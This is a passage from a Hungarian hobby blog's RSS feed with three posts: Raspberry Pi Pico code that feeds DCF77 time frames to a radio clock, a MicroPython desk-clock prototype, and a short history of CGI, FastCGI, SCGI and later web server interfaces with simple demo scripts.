<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> DCF_ENABLED_PIN 13</span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> LED_PIN 25</span>

<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">()</span> </span>{
  stdio_init_all();

  gpio_init(DCF_SIGNAL_PIN);
  gpio_init(DCF_ENABLED_PIN);
  gpio_init(LED_PIN);

  gpio_set_dir(DCF_SIGNAL_PIN, GPIO_OUT);
  gpio_set_dir(DCF_ENABLED_PIN, GPIO_IN);
  gpio_set_dir(LED_PIN, GPIO_OUT);

  <span class="hljs-keyword">uint64_t</span> buffers[] = {
    <span class="hljs-comment">//-----PYYYYYYYYMMMMMWWWDDDDDDPHHHHHHPmmmmmmm1AZZARxxxxxxxxxxxxxx0</span>
    <span class="hljs-number">0b0000000010010000001111100001001011100000000101000010100001000100</span>,
    <span class="hljs-number">0b0000000010010000001111100001001011110000001101000010100001000100</span>,
    <span class="hljs-number">0b0000000010010000001111100001001011110000010101000010100001000100</span>,
    <span class="hljs-number">0b0000000010010000001111100001001011100000011101000010100001000100</span>,
    <span class="hljs-number">0b0000000010010000001111100001001011110000100101000010100001000100</span>,
    <span class="hljs-number">0b0000000010010000001111100001001011100000101101000010100001000100</span>,
  };
  <span class="hljs-keyword">int</span> buffer_idx = <span class="hljs-number">0</span>;

  <span class="hljs-keyword">while</span> (<span class="hljs-literal">true</span>) {
    <span class="hljs-keyword">if</span> (gpio_get(DCF_ENABLED_PIN)) {
      <span class="hljs-built_in">printf</span>(<span class="hljs-string">"dcf module is not enabled\n"</span>);
      sleep_ms(<span class="hljs-number">5000</span>);
      <span class="hljs-keyword">continue</span>;
    }

    <span class="hljs-keyword">uint64_t</span> b = buffers[buffer_idx];
    ++buffer_idx;

    <span class="hljs-keyword">int</span> length;
    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> i = <span class="hljs-number">0</span>; i &lt; <span class="hljs-number">59</span>; ++i) {
      length = b &amp; <span class="hljs-number">1</span> ? <span class="hljs-number">200</span>: <span class="hljs-number">100</span>;
      <span class="hljs-built_in">printf</span>(b &amp; <span class="hljs-number">1</span> ? <span class="hljs-string">"1"</span> : <span class="hljs-string">"0"</span>);

      gpio_put(LED_PIN, <span class="hljs-literal">true</span>);
      gpio_put(DCF_SIGNAL_PIN, <span class="hljs-literal">true</span>);
      sleep_ms(length);

      gpio_put(LED_PIN, <span class="hljs-literal">false</span>);
      gpio_put(DCF_SIGNAL_PIN, <span class="hljs-literal">false</span>);
      sleep_ms(<span class="hljs-number">1000</span> - length);

      b &gt;&gt;= <span class="hljs-number">1</span>;
    }
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"\n"</span>);

    sleep_ms(<span class="hljs-number">1000</span>);
  }
}
</code></pre>
<p>Nem teljesítettem túl, az már egyszer biztos. Csak be vannak égetve az adatsorok, de így egy csomó konvertálgatástól megkíméltem magam. Lényeg, hogy az óra a bekapcsolás után elkezd szinkronizálni és néhány perc múlva beállítja a kapott &quot;pontos&quot; időt. A Pico-n lévő LED pedig eközben a jel ütemére villog.</p>

<video controls width="660" height="450">
    <source src="https://deadlime.hu/uploads/2024/sync.mp4" type="video/mp4" />
</video>

<p>Ezzel azt hiszem a végére is értünk kis kalandunknak, kiaknáztunk majdnem minden szórakozási lehetőséget, amit egy olcsó rádió időszinkronos óra nyújthat. Van még benne egy hőmérséklet szenzor, egy Piezo hangjelző és egy LED háttérvilágítás is, a vállalkozó szelleműeknek.</p>

]]></content:encoded>
        </item>
            <item>
            <title>(Nincs még) Itt az idő</title>
            <link>https://deadlime.hu/2023/12/28/nincs-meg-itt-az-ido/</link>
            <pubDate>Thu, 28 Dec 2023 10:29:46 +0000</pubDate>
            
            <dc:creator><![CDATA[Nagy Krisztián]]></dc:creator>
                    <category><![CDATA[Raspberry Pi]]></category>
                    <category><![CDATA[hardver]]></category>
                    
            <guid isPermaLink="false">b068b34f0743a0cf3501e7ddb996385d</guid>
            <description>Asztali óra készítése Raspberry Pi Pico-val</description>
            <content:encoded><![CDATA[<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2023/pico_clock.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>

<p>Egy ideje gondolkodom azon, hogy érdekes projekt lenne összerakni egy asztali órát. Lehetne benne mondjuk stopper, visszaszámlálók, amik tudnak párhuzamosan futni, esetleg hőmérséklet és páratartalom kijelzés, ilyesmik. Persze a sors máshogy akarta, úgyhogy nem fogunk ilyen messzire jutni.</p>
<p>Először is, rendeltem hozzá pár alkatrészt:</p>
<ul>
<li>egy <a href="https://shop.pimoroni.com/products/pico-gfx-pack">háttérvilágításos LCD</a>-t, amin van néhány gomb is</li>
<li>egy <a href="https://www.raspberrypi.com/documentation/microcontrollers/debug-probe.html">Debug Probe</a>-ot, amit csak ki akartam próbálni</li>
<li>és egy <a href="https://www.raspberrypi.com/documentation/microcontrollers/raspberry-pi-pico.html">Pico W</a>-t, ami ezt az egészet majd meghajtja</li>
</ul>
<p>Aztán el is kezdődhet a móka... miután úgy egy hónapra megfeledkezünk az egészről.</p>
<h3>C/C++ SDK</h3>
<p>A problémák már a Debug Probe környékén elkezdtek jelentkezni. Bár kisebb, mintha egy Pico-t alakítottunk volna át, viszont nem tudja árammal ellátni az éppen debug-olt Pico-t, úgyhogy összességében a több kábel miatt nekem egy kicsit csalódás volt.</p>
<p>Függetlenül attól, hogy Picoprobe vagy Debug Probe, mindkét esetben szükség volt egy <a href="https://shop.pimoroni.com/products/pico-omnibus">extra hardverre</a> (amit szerencsére már régebben beszereztem), hogy egyszerre tudjam rákötni a Pico-ra a kijelzőt és a probe-ot is.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2023/pico_debug_probe_gfx_pack.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>

<p><a href="https://deadlime.hu/2022/10/21/a-legkisebb-pi/">Korábban már volt róla szó</a>, hogy a CLion-os megoldás Linux-on egész szépen működött, de Windows-on beletört a bicskám. Ez csak azért probléma, mert Linux-ot a laptopomra telepítettem, az asztali gépen pedig Windows van és kényelmetlen nagyobb fejlesztéseket laptopon csinálni.</p>
<p>Így hát nekifutottam másodszor is a Windows-os változatnak, most WSL2-t használva. A dolgok szépen feltelepültek WSL2-ben a Linux-os leírás alapján, a <a href="https://learn.microsoft.com/en-us/windows/wsl/connect-usb"><code>usbipd-win</code> segítségével</a> meg is lehetett osztani a Pico-t vele, a CLion-ban is van WSL2 támogatás, úgyhogy sikeresen le tudta build-elni a projektet, de az OpenOCD-t nem tudja WSL2-ben futtatni, úgyhogy a debug-olás sajnos nem működött. Van is róla <a href="https://youtrack.jetbrains.com/issue/CPP-32484">egy ticket</a>, úgyhogy egyszer talán majd ez is megjavul.</p>
<p>Ilyenkor kerülnek a projektek parkolópályára, ahonnan majd évek múlva talán előkerülnek, de ez esetben volt még egy tervem. Van egy alternatív megoldás: <a href="https://www.raspberrypi.com/documentation/microcontrollers/micropython.html">MicroPython</a>. Ha el tudjuk engedni a villámgyors C kódot, akkor megírhatjuk az egészet Python-ban is. Egy prototípushoz akár még elég is lehet.</p>
<h3>MicroPython</h3>
<p>Természetesen az ajánlott (működő) megoldással itt sem voltam elégedett, ami a <a href="https://thonny.org/">Thonny</a> nevezetű Python IDE lett volna. Nincs vele különösebb probléma, de ha már van egy PyCharm-om, akkor azt szeretném használni. Szerencsére van hozzá MicroPython plugin, amivel minden probléma nélkül fel tudtam küldeni a kódot a Pico-ra.</p>
<p>A Pico-ra először egy MicroPython-os UF2 fájl kerül. Esetünkben egy olyan, amit <a href="https://github.com/pimoroni/pimoroni-pico/releases">az LCD kijelző gyártója szolgáltatott</a>, hogy az LCD-t meghajtó modulokat is el tudjuk érni. A hardver-es rész is lényegesen egyszerűbb lett így. Nincs szükség a Debug Probe-ra, csatlakoztathatjuk a Pico-t közvetlenül a kijelzőre is.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2023/pico_gfx_pack.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>

<h4>Kódkiegészítés</h4>
<p>Nyilván túl egyszerű lett volna az élet, ha minden csak úgy működött volna. Az első probléma a kódkiegészítés volt. A MicroPython plugin-ben van ugyan valamennyi támogatás, de nem volt az igazi. Szerencsére léteznek <a href="https://peps.python.org/pep-0561/#stub-only-packages">stub-ok</a>, mint a <a href="https://pypi.org/project/micropython-rp2-pico_w-stubs/"><code>micropython-rp2-pico_w-stubs</code></a>, ami részben megoldja a problémát, de a módosított MicroPython miatt bizonyos modulokról természetesen ez a stub sem tud. Szerencsére a gyártó <a href="https://github.com/pimoroni/pimoroni-pico-stubs">csinált a saját moduljaihoz stub-ot is</a>, de nem találtam belőle hivatalos pip csomagot, úgyhogy csak letöltöttem a ZIP-et és a fájlrendszerből telepítettem.</p>
<p>Szeretném azt mondani, hogy ezek után már minden gördülékenyen ment, de nem. Volt például a <code>GfxPack</code> osztály, aminek nem ismerte fel a PyCharm a <code>display</code> property-jét. Nem vagyok otthon a stub-okban, de ránézésre az jónak tűnt:</p>
<pre><code class="hljs python"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">GfxPack</span>:</span>
    <span class="hljs-comment"># ...</span>

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__init__</span><span class="hljs-params">(self)</span>:</span>
        self.display: PicoGraphics
        self.i2c: PimoroniI2C
</code></pre>
<p>Úgyhogy lehet a PyCharm-ban nem stimmel valami. Ha megmódosítottam egy kicsit a stub-ot, akkor már minden rendben volt:</p>
<pre><code class="hljs python"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">GfxPack</span>:</span>
    <span class="hljs-comment"># ...</span>

    display: PicoGraphics
    i2c: PimoroniI2C

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__init__</span><span class="hljs-params">(self)</span>:</span>
        ...
</code></pre>
<p>Na de most. Most már biztos minden jó, nem? Nem. Mondjuk úgy, hogy használható. Az importok környékén vannak még furcsaságok, nem ajánl fel importálásra bizonyos modulokat, de ha kézzel beimportálom, akkor felismeri őket.</p>
<p>Mindenesetre tudunk kódot írni, amit aztán le is tudunk futtatni a Pico-n, viszont a PyCharm-on belüli MicroPytho REPL valamilyen oknál fogva nem működik. A serial-ra kiküldött <code>print</code>-eket vagy éppen egy exception stack trace-ét nem látjuk sehol, ami azért nem könnyíti meg az életet. PuTTY segítségével rá tudok csatlakozni és működik is, viszont amíg a PuTTY rá van csatlakozva, addik a PyCharm nem tud kódot küldeni rá, úgyhogy elég kényelmetlen a helyzet. Linux-on biztos ez is működne.</p>
<h4>Az óra</h4>
<p>Azért a végére csak össze kellene dobni valami óra-szerűt, hogy legyen valami sikerélményünk is. A kinézetet először a számítógépen rajzolgattam meg, kiexportáltam <a href="https://en.wikipedia.org/wiki/Wireless_Application_Protocol_Bitmap_Format">WBMP</a> formátumban (van még valaki, aki emlékszik a <a href="https://en.wikipedia.org/wiki/Wireless_Application_Protocol">WAP</a>-ra?), amit aztán egész egyszerűen be lehetett olvasni és beállítani a kijelzőn, hogy a tényleges hardveren is meg tudjam nézni.</p>

<p class="image image-pixelated image-center">
    <img src="https://deadlime.hu/uploads/2023/pico_clock_ui.png" width="512" height="256" alt="" title="" loading="lazy" />
</p>

<pre><code class="hljs python"><span class="hljs-keyword">from</span> gfx_pack <span class="hljs-keyword">import</span> GfxPack


gp = GfxPack()
gp.set_backlight(<span class="hljs-number">0</span>, <span class="hljs-number">180</span>, <span class="hljs-number">60</span>, <span class="hljs-number">140</span>)

<span class="hljs-keyword">with</span> open(<span class="hljs-string">'pico-clock.wbm'</span>, <span class="hljs-string">'rb'</span>) <span class="hljs-keyword">as</span> f:
    buffer = bytearray([b ^ <span class="hljs-number">0xFF</span> <span class="hljs-keyword">for</span> b <span class="hljs-keyword">in</span> f.read()[<span class="hljs-number">-1024</span>:]])

gp.display.set_framebuffer(buffer)
gp.display.update()
</code></pre>
<p>A WBMP elején egy változó méretű header van, de tudjuk az adat méretét, mivel a kijelző (és így a kép is) 128*64 pixeles, minden bit egy pixel állapotát tárolja, szóval az adat (128/8)*64, azaz 1024 byte. Szerencsére a framebuffer formátuma is pont ilyen, úgyhogy könnyű dolgunk van. A kép eredetileg negatívban jelent meg, úgyhogy a <code>b ^ 0xFF</code> segítségével még invertálni is kellett a biteket.</p>
<p>Itt is jelentkeztek azért kisebb problémák a PyCharm környékén. Nem másolta fel automatikusan a képfájlt a Pico-ra, kellett a fájlon egy jobb klikk és <code>Run 'Flash pico-clock.wbm...'</code> menüpontot nyomni (minden alkalommal, amikor a kép frissült).</p>
<p>Most, hogy megvan a kinézetünk, meg is feledkezhetünk róla és összerakhatunk végre egy prototípust. Az első lépés az lenne, hogy felmegyünk WiFi-re és NTP segítségével szerzünk egy pontos időt:</p>
<pre><code class="hljs python"><span class="hljs-keyword">import</span> network
<span class="hljs-keyword">import</span> ntptime
<span class="hljs-keyword">import</span> time


wlan = network.WLAN(network.STA_IF)
wlan.active(<span class="hljs-literal">True</span>)
wlan.connect(<span class="hljs-string">'SSID'</span>, <span class="hljs-string">'secret'</span>)

<span class="hljs-keyword">while</span> <span class="hljs-keyword">not</span> wlan.isconnected():
    print(<span class="hljs-string">'WLAN is not ready\n'</span>)
    time.sleep(<span class="hljs-number">1</span>)

ntptime.host = <span class="hljs-string">'hu.pool.ntp.org'</span>
ntptime.settime()

wlan.disconnect()
</code></pre>
<p>Aztán ezt szépen meg is jelenítjük:</p>
<pre><code class="hljs python"><span class="hljs-keyword">from</span> gfx_pack <span class="hljs-keyword">import</span> GfxPack


gp = GfxPack()
gp.set_backlight(<span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">40</span>)

<span class="hljs-keyword">while</span> <span class="hljs-literal">True</span>:
    t = time.localtime()

    gp.display.set_pen(<span class="hljs-number">0</span>)
    gp.display.clear()
    gp.display.set_pen(<span class="hljs-number">15</span>)

    gp.display.set_font(<span class="hljs-string">'bitmap6'</span>)
    gp.display.text(<span class="hljs-string">f'<span class="hljs-subst">{t[<span class="hljs-number">0</span>]}</span>. <span class="hljs-subst">{t[<span class="hljs-number">1</span>]:<span class="hljs-number">02</span>}</span>. <span class="hljs-subst">{t[<span class="hljs-number">2</span>]:<span class="hljs-number">02</span>}</span>.'</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>)

    gp.display.set_font(<span class="hljs-string">'bitmap14_outline'</span>)
    gp.display.text(<span class="hljs-string">f'<span class="hljs-subst">{t[<span class="hljs-number">3</span>]:<span class="hljs-number">02</span>}</span>:<span class="hljs-subst">{t[<span class="hljs-number">4</span>]:<span class="hljs-number">02</span>}</span>'</span>, <span class="hljs-number">0</span>, <span class="hljs-number">20</span>)
    <span class="hljs-keyword">if</span> t[<span class="hljs-number">5</span>] % <span class="hljs-number">2</span>:
        gp.display.set_pen(<span class="hljs-number">15</span>)
    <span class="hljs-keyword">else</span>:
        gp.display.set_pen(<span class="hljs-number">0</span>)
    gp.display.text(<span class="hljs-string">':'</span>, <span class="hljs-number">32</span>, <span class="hljs-number">20</span>)

    gp.display.update()

    time.sleep_ms(<span class="hljs-number">30</span>)
</code></pre>
<p>Esetleg még a háttérvilágításról gondoskodhatunk, hogy kicsit jobban hasonlítson egy kilencvenes évekbeli Casio karórára.</p>
<pre><code class="hljs python">light_timeout = <span class="hljs-literal">None</span>
<span class="hljs-keyword">while</span> <span class="hljs-literal">True</span>:
    <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> light_timeout <span class="hljs-keyword">and</span> gp.switch_pressed(SWITCH_E):
        light_timeout = time.time_ns() + <span class="hljs-number">2000000000</span>
        gp.set_backlight(<span class="hljs-number">0</span>, <span class="hljs-number">180</span>, <span class="hljs-number">60</span>, <span class="hljs-number">140</span>)

    <span class="hljs-keyword">if</span> light_timeout <span class="hljs-keyword">and</span> light_timeout &lt; time.time_ns():
        light_timeout = <span class="hljs-literal">None</span>
        gp.set_backlight(<span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">40</span>)

    <span class="hljs-comment"># ...</span>
</code></pre>
<p>A végeredmény pedig (némi extra státusz információ hozzáadása után):</p>

<video controls width="660" height="450">
    <source src="https://deadlime.hu/uploads/2023/pico_clock.mp4" type="video/mp4" />
</video>

<p>Még egy prototípushoz képest is rengeteg dolog hiányzik belőle, de első körben sajnos csak eddig jutott a projekt. Ezen kívül a MicroPython nem tud időzónákat kezelni, úgyhogy el kell költözni egy UTC időzónás országba, hogy használni is tudjuk.</p>
<p>Hogy ezek után mi lesz a sorsa az órának? Vajon a fiók mélyére kerül vagy talán a későbbiekben még találkozhatunk vele? Csak az idő a megmondhatója.</p>

]]></content:encoded>
        </item>
            <item>
            <title>Hátrahagyott technológiák</title>
            <link>https://deadlime.hu/2023/11/24/hatrahagyott-technologiak/</link>
            <pubDate>Fri, 24 Nov 2023 17:24:08 +0000</pubDate>
            
            <dc:creator><![CDATA[Nagy Krisztián]]></dc:creator>
                    <category><![CDATA[HTTP]]></category>
                    <category><![CDATA[CGI]]></category>
                    <category><![CDATA[FastCGI]]></category>
                    <category><![CDATA[SCGI]]></category>
                    
            <guid isPermaLink="false">bbff75cc3476576a823a8e3e8f58d61e</guid>
            <description>A dinamikus web rövid története a CGI-től az alkalmazásokba épített HTTP szerverekig</description>
            <content:encoded><![CDATA[<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2023/deserted-computer.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>

<p>1993-at írunk. Egy dinamikus weboldalt kell fejlesztened, mondjuk egy vendégkönyvet, az akkoriban nagyon menő volt. Hogyan állnál neki? Ha az a válaszod, hogy ráguglizol, hogy hogyan kell csinálni, akkor el kell, hogy szomorítsalak, a Google csak 5 év múlva fog megjelenni. Az AltaVista-ra is még két évet várni kell. Stack Overflow? Még 15 év... Nem lehetett könnyű dolga a régi idők fejlesztőinek.</p>
<p>Néha nem árt visszatekinteni ezekre a régi időkre, hátha elkerülhetjük a hibákat, amiket elkövettek, vagy megakadályozhatnak abban, hogy újra feltaláljuk a kereket. Ilyesmi megfontolásból indultam el erre a kis felfedező útra, hogy kiderüljön, hogyan jutottunk el ahhoz a webfejlesztéshez, amit ma ismerünk.</p>
<h3>Common Gateway Interface</h3>
<p>A 90-es évek elején kezdték el fejleszteni, kicsivel később a <a href="https://datatracker.ietf.org/doc/html/rfc3875">3875-ös számú RFC</a> lett belőle. Ahogy a neve is jelzi, egy interface a webszerver és egy alkalmazás között. Ez a gyakorlatban azt jelenti, hogy ha van egy tetszőleges futtatható állományunk, azt a webszerver - megfelelő konfigurálás után - meg tudja futtatni és a kimenetét visszaküldi válaszként.</p>
<p>A kérés adatait környezeti változókban és a standard inputon keresztül kapja meg a programunk, a választ pedig standard output-ra kell produkálnia, egy kis formai megkötéssel (egy <code>Content-Type</code> header-rel kell kezdődnie a válasznak).</p>
<p>Előnye, hogy egyszerű, csak felmásolunk egy fájlt egy könyvtárba, futtathatóvá tesszük és kész is vagyunk. Hátránya, hogy minden request egy új process elindítását jelenti, ami lassú lehet és nem is skálázódik túl jól.</p>
<p>Legegyszerűbben onnan lehetett az ilyen konfigurációkat felismerni, hogy ezek az alkalmazások általában a <code>/cgi-bin/</code> könyvtárban éltek, amit még a mai napig is ellenőriznek az automata scanning eszközök, hátha találnak ott valami érdekeset.</p>
<p>És amikor tetszőleges futtatható állományt mondtam, akkor azt tényleg úgy is értettem. Akár egy shell script is lehet egy dinamikus weboldal alapja (ha elég bátor vagy ahhoz, hogy egy shell script-ben dolgozz fel query string-eket és <a href="https://stackoverflow.com/a/23517227">multipart kéréseket</a>):</p>
<pre><code class="hljs bash"><span class="hljs-meta">#!/bin/sh
</span>
<span class="hljs-built_in">echo</span> <span class="hljs-string">"Content-Type: text/plain"</span>
<span class="hljs-built_in">echo</span>
<span class="hljs-built_in">echo</span> <span class="hljs-string">"Hello World!"</span>

<span class="hljs-built_in">echo</span>
<span class="hljs-built_in">echo</span> <span class="hljs-string">"Environment:"</span>
env

<span class="hljs-built_in">echo</span>
<span class="hljs-built_in">echo</span> <span class="hljs-string">"Input:"</span>
cat -
<span class="hljs-built_in">echo</span>
</code></pre>
<p>Ha meghívjuk ezt az endpointot, akkor a következő adatokat kapjuk vissza:</p>
<pre><code class="hljs shell"><span class="hljs-meta">$</span><span class="bash"> curl -d<span class="hljs-string">'foo=bar'</span> <span class="hljs-string">'http://127.0.0.1:8081/cgi-bin/test.sh?foo=bar'</span></span>
Hello World!

Environment:
CONTENT_TYPE=application/x-www-form-urlencoded
GATEWAY_INTERFACE=CGI/1.1
REMOTE_ADDR=192.168.16.1
SHLVL=1
QUERY_STRING=foo=bar
HTTP_USER_AGENT=curl/7.88.1
DOCUMENT_ROOT=/usr/local/apache2/htdocs
REMOTE_PORT=51282
HTTP_ACCEPT=*/*
SERVER_SIGNATURE=
CONTENT_LENGTH=7
CONTEXT_DOCUMENT_ROOT=/usr/local/apache2/cgi-bin/
SCRIPT_FILENAME=/usr/local/apache2/cgi-bin/test.sh
HTTP_HOST=127.0.0.1:8081
REQUEST_URI=/cgi-bin/test.sh?foo=bar
SERVER_SOFTWARE=Apache/2.4.58 (Unix)
REQUEST_SCHEME=http
PATH=/usr/local/apache2/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
SERVER_PROTOCOL=HTTP/1.1
REQUEST_METHOD=POST
SERVER_ADDR=192.168.16.2
SERVER_ADMIN=you@example.com
CONTEXT_PREFIX=/cgi-bin/
PWD=/usr/local/apache2/cgi-bin
SERVER_PORT=8081
SCRIPT_NAME=/cgi-bin/test.sh
SERVER_NAME=127.0.0.1

Input:
foo=bar
</code></pre>
<p>A környezeti változók nevei ismerősek lehetnek, sok helyen átvették ezeket az elnevezéseket, valószínűleg azért, hogy könnyebb legyen az átállás CGI-ről.</p>
<p>A lehetőségek száma határtalan, <a href="https://github.com/deadlime/cgi-playground/tree/main/cgi-bin">bedobáltam néhány extra példát a kapcsolódó Github repository-ba</a> (C kódból fordított bináris? Miért is ne!), de akkoriban talán a Perl volt a <code>cgi-bin</code> könyvtár igazi sztárja:</p>
<pre><code class="hljs perl"><span class="hljs-comment">#!/usr/bin/perl</span>

<span class="hljs-keyword">print</span> <span class="hljs-string">"Content-type: text/plain\n\nHello, World.\n"</span>;

<span class="hljs-keyword">print</span> <span class="hljs-string">"\nEnrivonment:\n"</span>;
<span class="hljs-keyword">foreach</span> <span class="hljs-keyword">my</span> $key (<span class="hljs-keyword">keys</span> %ENV) {
    <span class="hljs-keyword">print</span> <span class="hljs-string">"$key=$ENV{$key}\n"</span>;
}

<span class="hljs-keyword">print</span> <span class="hljs-string">"\nInput:\n"</span>;
<span class="hljs-keyword">while</span> (&lt;&gt;) {
    <span class="hljs-keyword">print</span>;
}
<span class="hljs-keyword">print</span> <span class="hljs-string">"\n"</span>;
</code></pre>
<p>Aztán 1995-ben megérkezett a PHP. Eleinte még ugyanúgy CGI scriptként.</p>
<pre><code class="hljs php"><span class="hljs-comment">#!/usr/bin/php82</span>
<span class="hljs-meta">&lt;?php</span>

<span class="hljs-keyword">print</span>(<span class="hljs-string">"Content-Type: text/plain\n\nHello World!\n"</span>);

<span class="hljs-keyword">print</span>(<span class="hljs-string">"\nEnvironment:\n"</span>);
var_dump($_SERVER);

<span class="hljs-keyword">print</span>(<span class="hljs-string">"\nInput:\n"</span>);
var_dump(file_get_contents(<span class="hljs-string">'php://stdin'</span>));
</code></pre>
<p>Itt egy kicsit meglepett, hogy a <code>$_SERVER</code> tömbben találtam meg a megfelelő adatokat, nem pedig az <code>$_ENV</code> tömbben, lehet az újabb PHP az oka, vagy máshogy kellett volna hívnom CGI scriptek esetén, nem tudom. De nem is nagyon számít, mert nem sokkal később magunk mögött hagyhattuk a CGI-t.</p>
<h3>Alternatív megoldások</h3>
<h4>FastCGI</h4>
<p>Szintén 1995 körül jelenik meg a FastCGI, aminek a célja az, hogy a CGI teljesítménybeli problémáit orvosolja. A Perl-es <a href="https://metacpan.org/release/LEEJO/CGI-Fast-2.17/source/lib/CGI/Fast.pm#L43">CGI::Fast</a> csomag alapján úgy tűnik több módon is működhet a dolog. A webszerver elindíthatja a CGI process-t egy vagy több példányban, standard input-on küldve neki az FCGI kéréseket és standard output-on várva az FCGI válaszokat. Ugyanez működhet úgy is, hogy a webszerver és az FCGI process Unix socket-en vagy rendes hálózati socket-en keresztül kommunikál. A webszerver ezután átalakítja az FCGI választ HTTP válasszá és kész is vagyunk.</p>
<p>A protokoll leírása alapján egy process-nek a webszerver egyszerre akár több kérést is küldhet, amit az FCGI process párhuzamosan dolgozhat fel, ha támogat ilyesmit.</p>
<p>A rendszer előnye, hogy egyszerűbb FCGI szervert implementálni, mint HTTP szervert (az eredeti HTTP/1.0 <a href="https://datatracker.ietf.org/doc/html/rfc1945">RFC 1945</a> is 60 oldalas, a HTTP/1.1 <a href="https://datatracker.ietf.org/doc/html/rfc2068">RFC 2068</a> pedig már 162 oldalas). Hátránya az lehet, hogy egy elég bizalmi kapcsolat van a webszerver és az FCGI szerver között, ha valaki más tud véletlenül direktbe az FCGI szerverrel beszélgetni, annak lehet, hogy nem lesz jó vége (például az FCGI szerver kódja nem annyira betonbiztos, mint a HTTP szerveré, nem viseli olyan jól a hibás kéréseket, vagy mondjuk a webszerver által kikényszerített autentikációt lehet így megkerülni).</p>
<p>Mint azt említettem, a <a href="https://www.mit.edu/~yandros/doc/specs/fcgi-spec.html">FastCGI protokoll</a> egyszerűbb, mint a HTTP, így az alkalmazások könnyebben leimplementálhatják. A móka kedvéért össze is dobtam gyorsan <a href="https://github.com/deadlime/cgi-playground/blob/main/bin/fcgi_server.py">egy egyszerű Python-os FCGI szervert</a>, ami csak annyira képes, hogy a korábbi CGI scriptjeinkhez hasonló választ adjon vissza minden kérésre.</p>
<h4>mod_php</h4>
<p>1997 környékén járhatunk, amikor megjelent a PHP 3 és a mod_php Apache modul. Legalábbis a web archívumos turkálások alapján azt a következtetést vontam le, hogy a 3-as PHP-val jött a mod_php is, de nem vagyok teljesen biztos benne. A történet szempontjából talán nem is annyira lényeges.</p>
<p>A mod_php esetén a PHP interpreter az Apache process-en belül fut és így futtatja le a PHP fájlokat. A szorosabb integráció egyrészt előnyös, mert nem kell kérésenként új process-t indítani, de megvan a maga hátránya is. A PHP interpreter akkor is ott foglalja a memóriát, ha a kérés csak egy statikus fájlra irányul.</p>
<p>Mindent összevetve viszont egész sikeresnek mondhatjuk, a mai napig ez az ajánlott mód PHP kód futtatásra Apache webszerverrel.</p>
<h4>Simple Common Gateway Interface</h4>
<p>A FastCGI nem bizonyult elég egyszerűnek, úgyhogy 2001 környékén érkezett egy új versenyző is, az SCGI. Az <a href="https://github.com/nascheme/scgi/blob/main/doc/protocol.txt">SCGI protokoll</a> lényegesen egyszerűbb, viszont egy kapcsolaton egy időben csak egy kérés-választ lehet lebonyolítani.</p>
<p>Az összehasonlítás kedvéért ehhez is írtam <a href="https://github.com/deadlime/cgi-playground/blob/main/bin/scgi_server.py">egy egyszerű kis SCGI szervert</a> Python-ban, ami a FastCGI szerverhez hasonlóan működik.</p>
<h4>FastCGI, második kör</h4>
<p>Röpke 15 évvel a protokoll megjelenése után, 2010-ben megérkezik a FastCGI támogatás a PHP-hoz is a <a href="https://www.php.net/manual/en/install.fpm.php">FastCGI Process Manager</a> (FPM) formájában.</p>
<p>Ehhez még hozzájön az, hogy egyesek egy idő után megunták, hogy az Apache túl lassú (visszatérő motívum a történetünk során), úgyhogy 2004-ben elhozták nekünk az Nginx-et, úgyhogy kaptunk egy rendes alternatívát az Apache és mod_php mellé az Nginx és PHP-FPM képében.</p>
<h3>Változik a világ</h3>
<p>Telt-múlt az idő, egyre több nyelv szeretett volna web-kompatibilis lenni. 2003-ban jött a Python a <a href="https://peps.python.org/pep-0333/">WSGI</a>-vel, 2004-ben megjelent a Ruby on Rails, ami kezdetben CGI-ként, FCGI-ként vagy később a mod_ruby segítségével tudott futni. Aztán 2007-ben jött a Rack is, ami a WSGI-hez hasonló interface Ruby-hoz.</p>
<p>Ez nagyjából úgy működik, hogy valahonnan megkapjuk a HTTP kérés adatait (az adott nyelven írt webszerver, CGI, FCGI, akármi), ezek egységes formára lesznek hozva az adott nyelv webes interface-ének megfelelően, amit aztán az alkalmazás megkap.</p>
<p>Python esetén ez például így nézhet ki:</p>
<pre><code>HTTP kérés -&gt; Gunicorn -&gt; WSGI környezet -&gt; Flask -&gt; az általunk írt kód
</code></pre>
<p>Ruby esetén meg valami ilyesmi:</p>
<pre><code>HTTP kérés -&gt; Unicorn -&gt; Rack környezet -&gt; Sinatra -&gt; az általunk írt kód
</code></pre>
<p>Bár elméletben a HTTP kérés forrása több dolog is lehetne, a gyakorlatban úgy tűnik, hogy az adott nyelven írt webszerver lett a nyerő választás. Érdekes módon itt már kezdünk eltávolodni a korábban kitalált technológiáktól. Miért implementáltak le egy bonyolult HTTP szervert, ha van egyszerűbb alternatíva? Nem lett volna elég egy FCGI vagy SCGI szerver? Ki tudja.</p>
<h3>Modern webfejlesztés</h3>
<p>2009 környékén megjelent a Node.js, mert valakinek ismét nem tetszett, hogy az Apache túl lassú és nem tud elég kérést kezelni. Akkoriban jelent meg a Go is.  Mindkét nyelv része volt egy-egy HTTP szerver, ami azt hiszem el is döntötte, hogy hogyan lehet majd ezeken a nyelveken webes alkalmazásokat fejleszteni.</p>
